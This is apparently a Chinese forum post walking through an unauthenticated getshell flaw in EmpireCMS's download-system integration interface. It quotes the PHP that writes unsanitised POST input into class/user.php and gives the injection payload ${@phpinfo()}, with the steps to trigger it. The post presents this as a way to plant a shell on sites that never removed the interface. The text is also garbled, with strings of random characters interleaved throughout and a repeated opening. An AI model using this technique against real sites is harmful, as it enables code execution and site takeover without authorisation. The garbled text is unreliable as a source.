这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们# Q" o7 A# c! n
- g/ S9 x3 P Y; `: J/ n
) U S+ _4 K% _+ ?$ O) h这是帝国的一套下载系统 如图; Q, E v2 B) i9 }& g+ f
ps(不需要任何账户和密码,直接写shell)
D2 Z' X2 c m8 s/ k# |6 m由于很多站是由于下载要整合discuz 等等一些论坛....
9 n# L) {1 ~- i7 v. P ( F3 O% k0 Q, v+ g+ z$ j+ K" Q; l
而帝国他又有一个万能接口,如图 S) j4 y# `' l9 ]; D: p4 f
. R9 v8 [5 u2 ~( g) I" \! h
+ L/ C* g4 P4 p% g- q
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码; Q2 w t! o4 x7 w; h
$ L1 k: {& a1 b! t. p# g3 S当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
5 n8 f6 G8 @; y2 U1 r- ]% P, c: S- f2 p4 S9 B1 }& l6 `/ m
在data/fun.php中的15行
0 x, _1 x8 F+ s# P5 x, C6 j0 s5 u) b5 @" |
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
) I# \' P) I# x$ S) K17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干! }$ k! ?5 R! N3 r
, b3 l* C( r6 I
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);' _# R, a3 q1 F$ G& R
9 q. w S7 c4 R
他将传进来的变量进行了切割,然后赋给了$filetext
, S8 ^. b$ L' _! @# m
4 _! H8 ?6 i+ @) ^& e. Y然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了5 m& }: j; y! X/ k/ C' t, _
" w" p; l2 X4 r我们看看写入的结果,随便填一个 # F0 G/ c- O5 V6 {5 ?& P
d1 f2 F; R- n4 P% p' `4 d
4 x; f! M2 E8 i' H: {
" M- Y# Y8 U; f% l+ }* { i8 S& p$ H5 J$ ?5 V# ?: |
- E' B2 r$ @2 D
1 G! H5 i! r. f6 R) b A- J6 V2 n3 S4 }5 ?9 K
; w* A. ?- G o. T9 q7 L
/ |, L# J8 F; p1 |) l
~7 r6 N7 O, ~6 U- V. T5 R. g& ~' u6 v! Q, ~1 j
* _! q9 |& @4 r! s, R, ^" G
. p: H, {/ K. U% h; x- r3 K, f
$ W/ _' K9 J& E! N/ \
+ f6 w1 w8 r) i3 w( ^* b' G$ o: q, f: @0 l8 c" b8 y; q
; y, N& V% g% w
. Z! J" Z$ Y, n# f) i3 c5 a4 w. j2 C* N9 F3 A6 E
' x _. A4 N# Z! q
; M- w2 }. k6 \
所以我们淫荡点,写个${@phpinfo()}试试 * b. }4 @9 z* {; J: F
然后访问以下class/user.php这个文件
V& n$ [' Y) U- l8 C日了吧 , V- c% P: X4 H8 K
3 b( [; Z" ]9 ^( r( b! ^
" ]* M+ V* Q$ I1 a. P- D. @
; B b. N0 V% @3 O1 b
) [3 Z7 U5 a! _ l
& |, k% a) @4 c+ W, u( x7 F* |& n. H |